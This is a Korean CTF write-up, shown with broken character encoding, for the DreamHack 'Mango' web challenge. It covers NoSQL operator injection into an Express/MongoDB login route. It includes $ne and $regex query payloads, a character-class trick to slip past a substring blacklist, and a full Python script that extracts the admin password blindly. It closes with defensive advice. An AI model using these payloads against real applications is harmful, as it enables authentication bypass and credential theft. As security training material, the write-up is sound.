๋ฌธ์ : DreamHack โ Mango ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Silver 4 FLAG:
DH{89e50fa6fafe2604e33c0ba05843d3df}
์ด๋ฆ์ด Mango์ง๋ง ์ฌ์ค Mongo๋ค. ์ ์ํ๋ฉด /login?uid=guest&upw=guest๋ผ๋ ์๋ด ํ ์ค์ด ์ ๋ถ์ธ, MongoDB ๋ฐฑ์๋์ ๋ก๊ทธ์ธ API ๋ฌธ์ ๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Mango |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | Web (NoSQL Injection) |
| ์คํ | Node.js + Express + Mongoose(MongoDB) |
| ์ ๊ณต | main.js + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ์ฟผ๋ฆฌ์คํธ๋ง ์ฐ์ฐ์ ์ฃผ์ + substring BAN ์ฐํ |
flag๋ DB์ admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ก ๋ค์ด ์๋ค. ๋ก๊ทธ์ธ API์ ์ฐ์ฐ์๋ฅผ ์ฃผ์
ํด admin์ ๋น๋ฐ๋ฒํธ๋ฅผ $regex๋ก ํ ๊ธ์์ฉ ์์๋ด๋ ๊ฒ ๋ชฉํ๋ค. ๋จ, admin๊ณผ dh๋ฅผ ์ง์ ์ฐ๋ ๊ธธ์ BAN์ผ๋ก ๋งํ ์์ด ํ ๋ฒ ๋ ์ฐํ๊ฐ ํ์ํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ Express ์ฟผ๋ฆฌ ํ์์ NoSQL ์ฐ์ฐ์
Express๋ ์ฟผ๋ฆฌ์คํธ๋ง์ qs ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ํ์ฑํ๋ค. ์ด ํ์๋ ๋๊ดํธ ํ๊ธฐ๋ฅผ ์ค์ฒฉ ๊ฐ์ฒด๋ก ํ์ด์ค๋ค.
?uid=guest โ req.query = { uid: "guest" }
?uid[$ne]=guest โ req.query = { uid: { $ne: "guest" } }
?upw[$regex]=^DH โ req.query = { upw: { $regex: "^DH" } }๋ฌธ์ ๋ ์ด ๊ฐ์ฒด๊ฐ ๊ทธ๋๋ก MongoDB ์ฟผ๋ฆฌ๋ก ๋ค์ด๊ฐ ๋๋ค. MongoDB๋ $ne(not equal), $regex, $gt, $in ๊ฐ์ ์ฟผ๋ฆฌ ์ฐ์ฐ์๋ฅผ ๊ฐ์ฒด ํํ๋ก ๋ฐ๋๋ค. ์ฌ์ฉ์๊ฐ ๋ณด๋ธ ๊ฐ์ด ๋ฌธ์์ด์ด๋ผ๊ณ ๊ฐ์ ํ๊ณ findOne({uid, upw})์ ๊ทธ๋๋ก ๋ฃ์ผ๋ฉด, ๊ณต๊ฒฉ์๋ ๋ฌธ์์ด ๋์ ์ฐ์ฐ์ ๊ฐ์ฒด๋ฅผ ๋ผ์ ๋ฃ์ด ์ฟผ๋ฆฌ ์๋ฏธ ์์ฒด๋ฅผ ๋ฐ๊ฟ ์ ์๋ค. ์ด๊ฒ์ด NoSQL ์ธ์ ์
์ด๋ค.
// ์๋: ์ ํํ ์ด ๋น๋ฐ๋ฒํธ์ธ ์ฌ์ฉ์
db.collection('user').findOne({ uid: "admin", upw: "๋น๋ฐ๋ฒํธ" })
// ์ฃผ์
: ๋น๋ฐ๋ฒํธ๊ฐ ๋ฌด์์ด๋ (guest ๊ฐ ์๋ ์ฒซ ์ฌ์ฉ์)
db.collection('user').findOne({ uid: { $ne: "guest" }, upw: { $ne: "guest" } })๐ฌ ์ฝ๋ ์ ์ฐฐ
main.js๋ ์งง๋ค. ํต์ฌ๋ง ๋ณธ๋ค.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){ res.send('err'); }
else if(result){ res.send(result['uid']); }
else{ res.send('undefined'); }
})
});์ฝ์ด๋ผ ์ ์ด ์ ์ด๋ค.
์ฒซ์งธ, uid์ upw๋ฅผ req.query์์ ๊ทธ๋๋ก ๊บผ๋ด findOne์ ๋ฃ๋๋ค. ํ์
๊ฒ์ฌ๊ฐ ์์ผ๋ ์ฐ์ฐ์ ๊ฐ์ฒด ์ฃผ์
์ด ํตํ๋ค.
๋์งธ, ์๋ต์ด blind oracle๋ก ์ฐ๊ธฐ ๋ฑ ์ข๋ค. ๋งค์น๋๋ ์ฌ์ฉ์๊ฐ ์์ผ๋ฉด result['uid'](์: admin)๋ฅผ, ์์ผ๋ฉด undefined๋ฅผ ๋ณด๋ธ๋ค. ์ฆ ์๋ต๋ง ๋ณด๊ณ ์ฟผ๋ฆฌ์ ์ฐธ/๊ฑฐ์ง์ ์ ์ ์๋ค.
์
์งธ, filter๊ฐ JSON.stringify(req.query).toLowerCase()๋ฅผ ๋ง๋ค์ด adminยทdhยทadmi๊ฐ ๋ถ๋ถ ๋ฌธ์์ด๋ก ๋ค์ด ์์ผ๋ฉด ์ฐจ๋จํ๋ค. flag๊ฐ DH{...}๋ก ์์ํ๋ $regex์ DH๋ฅผ ๋ฃ์ผ๋ฉด ์๋ฌธ์ dh๊ฐ ๊ฑธ๋ฆฌ๊ณ , admin์ ์ง์ ์ง์ ํ๋ ค ํด๋ admin์ด ๊ฑธ๋ฆฐ๋ค.
๋จผ์ ์๋ด๋๋ก ์ ์ ๋ก๊ทธ์ธ์ด ๋๋์ง ํ์ธํ๋ค.

uid=guest&upw=guest๋ guest๋ฅผ ๋๋ ค์ค๋ค. API๊ฐ ๋งค์น๋ ์ฌ์ฉ์์ uid๋ฅผ ์๋ตํ๋ค๋ ๊ฑธ ํ์ธํ๋ค.
โถ๐ ์ฝ์ง โ uid[$ne]=guest ํ๋๋ admin์ด ์๋๋ผ dreamhack์ด ๋์๋ค
NoSQL ์ธ์ ์
์ ๊ต๊ณผ์ ์ฒซ ์๋ "guest๊ฐ ์๋ ์ฌ์ฉ์"๋ฅผ ๋์ด๋ด๋ ๊ฑฐ๋ค. upw๋ ๋ชจ๋ฅด๋ ๋ ๋ค $ne๋ก ๋์ก๋ค.
/login?uid[$ne]=guest&upw[$ne]=guest
๊ทธ๋ฐ๋ฐ ๋์์จ ๊ฑด admin์ด ์๋๋ผ dreamhack์ด์๋ค. user ์ปฌ๋ ์
์ guest, dreamhack, admin ๋ฑ ์ฌ๋ฌ ๊ณ์ ์ด ์๊ณ , findOne์ด ์กฐ๊ฑด์ ๋ง์กฑํ๋ ์ฒซ ๋ํ๋จผํธ๋ฅผ ๋ฐํํ๊ธฐ ๋๋ฌธ์ด๋ค. guest๊ฐ ์๋ ์ฒซ ์ฌ์ฉ์๊ฐ dreamhack์ด๋ผ ๊ฑฐ๊ธฐ์ ๋ฉ์ถ ๊ฒ์ด๋ค.
๊ทธ๋์ flag๋ฅผ ๊ฐ์ง ๊ณ์ ์ธ admin์ ์ ํํ ํน์ ํด์ผ ํ๋ค๋ ๊ฑธ ์์๋ค. ๋ฌธ์ ๋ admin์ด๋ผ๋ ๋ฌธ์์ด ์์ฒด๊ฐ BAN์ด๋ผ๋ ์ ์ด๋ค.
๐ฃ ํต์ฌ โ ๊ธ์๋ณ ํด๋์ค๋ก BAN์ ์ฐํํ๊ณ blind๋ก ๋ฝ๊ธฐ
์ ์ฒด ๊ณต๊ฒฉ์ ์ธ ์กฐ๊ฐ์ด๋ค.

BAN์ "๋ถ๋ถ ๋ฌธ์์ด"๋ง ๋ณธ๋ค
filter๋ dump.indexOf('admin')์ฒ๋ผ substring์ ์ฐพ๋๋ค. admin์ด๋ผ๋ ๋ค์ฏ ๊ธ์๊ฐ ๋ถ์ด ์์ ๋๋ง ๊ฑธ๋ฆฐ๋ค. ๊ทธ๋ฌ๋ฉด ๊ธ์ ์ฌ์ด์ ๋ฌด์ธ๊ฐ๋ฅผ ๋ผ์ ๋ฃ์ด ์ธ์ ์ ๋์ผ๋ฉด ๋๋ค. ์ ๊ท์์ ์บ๋ฆญํฐ ํด๋์ค [c]๊ฐ ์์ฑ๋ง์ถค์ด๋ค โ [a]๋ ์ ๊ท์์์ ๊ทธ๋ฅ ๋ฌธ์ a ํ๋์ง๋ง, ๋ฌธ์์ด๋ก ๋ณด๋ฉด [, a, ] ์ธ ๊ธ์๋ค.
"admin" โ JSON์ "admin" ๊ทธ๋๋ก โ BAN ๊ฑธ๋ฆผ
"^[a][d][m][i][n]$" โ JSON์ "[a][d][m][i][n]" โ "admin" ์์ โ ํต๊ณผ[a][d][m][i][n]์ lowercase๋ก ํผ์ณ๋ a][d][m][i][n ์ฌ์ด๋ง๋ค ][๊ฐ ๋ผ์ด ์์ด admin์ด๋ผ๋ ์ฐ์ ๋ถ๋ถ ๋ฌธ์์ด์ด ์๋ค. ๊ทธ๋ฐ๋ฐ ์ ๊ท์ ์์ง์๋ ์ฌ์ ํ "a ๋ค์ d ๋ค์ mโฆ"์ผ๋ก ์ฝํ admin๊ณผ ์ ํํ ๋งค์น๋๋ค.
uid=admin์ ์ง์ ๋ฃ์ผ๋ฉด filter๊ฐ ๋จ๊ณ ,

ํด๋์ค๋ก ๊ฐ์ผ uid[$regex]=^[a][d][m][i][n]$๋ ํํฐ๋ฅผ ํต๊ณผํด admin์ ๋์ด๋ธ๋ค.

upw๋ฅผ ํ ๊ธ์์ฉ โ dh๋ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก
์ด์ admin์ ๊ณ ์ ํ์ผ๋ upw๋ฅผ $regex๋ก ์ถ์ถํ๋ค. flag๋ DH{๋ก ์์ํ๋๋ฐ dh๊ฐ BAN์ด๋ผ DH๋ฅผ ๊ทธ๋๋ก ๋ชป ์ด๋ค. .(์์ ๋ฌธ์)๋ก ๋์ฒดํ๋ฉด ๊ทธ๋ง์ด๋ค. ^..[{]๋ "์๋ฌด ๋ ๊ธ์ + {"๋ผ DH{์ ๋งค์น๋๋ฉด์ dh๋ผ๋ ๊ธ์๋ฅผ ์ฐ์ง ์๋๋ค.
๊ทธ ๋ค๋ก๋ ์ถ์ถํ ๊ธ์๋ค์ ๋๊ฐ์ด [c] ํด๋์ค๋ก ์ด์ด ๋ถ์ธ๋ค. flag ๊ฐ์ ์ฐ์ฐํ dh๋ ad ๊ฐ์ ์กฐ๊ฐ์ด ๋ค์ด ์์ด๋ ][๋ก ๋๊ฒจ ์์ด BAN์ ๊ฑด๋๋ฆฌ์ง ์๋๋ค.
upw[$regex] = ^..[{][8] โ DH{8... ๋งค์น โ ์๋ต admin (์ฐธ)
upw[$regex] = ^..[{][z][z][z] โ ๋งค์น ์ ๋จ โ ์๋ต undefined (๊ฑฐ์ง)
์๋ต์ด admin์ด๋ฉด ๊ทธ ๊ธ์๊ฐ ๋ง๋ ๊ฒ์ด๋ค. 0-9a-zA-Z๋ฅผ ๋๋ ค๊ฐ๋ฉฐ 32๊ธ์๋ฅผ ๋ชจ์ผ๋ฉด flag๊ฐ ์์ฑ๋๋ค.
๐ฏ ์ต์คํ๋ก์
์กฐ๋ฆฝํ ์์ฒญ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
GET /login?uid[$regex]=^[a][d][m][i][n]$&upw[$regex]=^..[{][8][9][e]...uid๋ admin์ผ๋ก ๊ณ ์ , upw๋ ์ง๊ธ๊น์ง ํ์ ํ ๊ธ์ + ๋ค์ ํ๋ณด๋ฅผ ๋ชจ๋ [c]๋ก ๊ฐ์ผ ์ ๊ท์์ด๋ค. ์๋ต์ด admin์ด๋ฉด ํ๋ณด ํ์ , undefined๋ฉด ๋ค์ ํ๋ณด๋ก ๋์ด๊ฐ๋ค.
๐ Full Exploit
oracle ํ ๋ฒ = HTTP ์์ฒญ ํ ๋ฒ์ด๊ณ , ๊ธ์๋ง๋ค ํ๋ณด๋ฅผ ๋๋ฆฌ๋ ๋จ์ blind๋ค. ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ด ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง ์ด๋ค.
#!/usr/bin/env python3
# Mango โ Express + Mongoose NoSQL injection. upw[$regex] ๋ก admin ์ flag ๋ฅผ blind ์ถ์ถ.
# BAN(admin/dh/admi)์ ๋ชจ๋ ๊ธ์๋ฅผ [c] ์บ๋ฆญํฐ ํด๋์ค๋ก ๊ฐ์ธ ์ธ์ ์ ๋์ด ์ฐํํ๋ค.
import sys, string, urllib.request, urllib.parse
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13990"
CHARSET = string.digits + string.ascii_lowercase + string.ascii_uppercase
UID_RE = "^[a][d][m][i][n]$" # admin ํน์ (๊ธ์๋ณ ํด๋์ค๋ก BAN ์ฐํ)
def cls(s): # ๊ฐ ๊ธ์๋ฅผ [c] ๋ก ๊ฐ์ธ 'admin'/'dh' ์ธ์ ๋๊ธฐ
return "".join("[%s]" % c for c in s)
def oracle(upw_regex):
qs = urllib.parse.urlencode({"uid[$regex]": UID_RE, "upw[$regex]": upw_regex})
body = urllib.request.urlopen(f"{BASE}/login?{qs}", timeout=20).read().decode()
return body.strip() == "admin" # ๋งค์น๋๋ฉด admin, ์๋๋ฉด undefined
PREFIX = "^..[{]" # ^.. = DH, [{] = { ('dh' ๊ธ์ ์์ด ํํ)
known = ""
while len(known) < 32:
for c in CHARSET:
if oracle(PREFIX + cls(known + c)):
known += c
print(f"[{len(known):2d}/32] DH{{{known}")
break
else:
break
print("\nFLAG:", "DH{" + known + "}")๋๋ฆฌ๋ฉด ํ ๊ธ์์ฉ ์ฑ์์ง๋ฉฐ 32์๊ฐ ๋ค ๋ชจ์ธ๋ค.

๐ ๊ฒฐ๋ก
NoSQL์ด๋ผ๊ณ ์ธ์ ์ ์์ ์์ ๋ก์ด ๊ฒ ์๋๋ค.
SQL injection์ด ๋ฌธ์์ด ๋ฐ์ดํ ๋ฌธ์ ๋ผ๋ฉด, NoSQL injection์ ํ์
๋ฌธ์ ๋ค. ์ฌ์ฉ์ ์
๋ ฅ์ด ๋ฌธ์์ด์ผ ๊ฑฐ๋ผ๊ณ ๋ฏฟ๊ณ ์ฟผ๋ฆฌ ๊ฐ์ฒด์ ๊ทธ๋๋ก ๋ฃ์ผ๋ฉด, ๊ณต๊ฒฉ์๋ ๋ฌธ์์ด ๋์ $neยท$regex ๊ฐ์ ์ฐ์ฐ์ ๊ฐ์ฒด๋ฅผ ๋ผ์ ๋ฃ์ด ์ฟผ๋ฆฌ๋ฅผ ๋ค์ ์ด๋ค. Express์ qs ํ์๊ฐ ๋๊ดํธ ํ๊ธฐ๋ฅผ ๊ฐ์ฒด๋ก ํ์ด์ฃผ๊ธฐ ๋๋ฌธ์, ํ๋ฒํ GET ์์ฒญ๋ง์ผ๋ก๋ ์ด๊ฒ ๊ฐ๋ฅํ๋ค.
์ด ๋ฌธ์ ๋ BAN ํํฐ๊น์ง ์์์ง๋ง, substring ๊ฒ์ฌ๋ผ๋ ์ฝ์ ๋๋ฌธ์ ์ ๊ท์ ์บ๋ฆญํฐ ํด๋์ค ํ ๊ฒน์ผ๋ก ๋ฌด๋ ฅํ๋๋ค. ๋ธ๋๋ฆฌ์คํธ substring ๊ฒ์ฌ๋ ๊ฑฐ์ ํญ์ ์ฐํ๋๋ค โ ์๋ฏธ๊ฐ ์๋๋ผ ๊ธ์ ๋ฐฐ์ด๋ง ๋ณด๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐฉ์ด๋ ์
๋ ฅ์ ํ์
์ ๊ฐ์ ํ๋ ๋ฐ์ ์์ํ๋ค. uidยทupw๊ฐ ๋ฌธ์์ด์ด ์๋๋ฉด ๊ฑฐ๋ถํ๊ฑฐ๋(typeof === 'string'), express-mongo-sanitize์ฒ๋ผ $๋ก ์์ํ๋ ํค๋ฅผ ๊ฑธ๋ฌ๋ด๋ ๋ฏธ๋ค์จ์ด๋ฅผ ์ด๋ค. ์ธ์ฆ ๋ก์ง์ ๋น๋ฐ๋ฒํธ๋ฅผ $regex๋ก ํ๋ฆด ์ ์๋ ํ๋ฌธ ๋น๊ต๊ฐ ์๋๋ผ, ํด์๋ฅผ ๊บผ๋ด ์์ ์๊ฐ ๋น๊ต๋ก ๊ฒ์ฆํด์ผ ํ๋ค. ๊ทธ๋ฌ๋ฉด ๊ธ์ ๋จ์ blind ์์ฒด๊ฐ ๋ถ๊ฐ๋ฅํด์ง๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ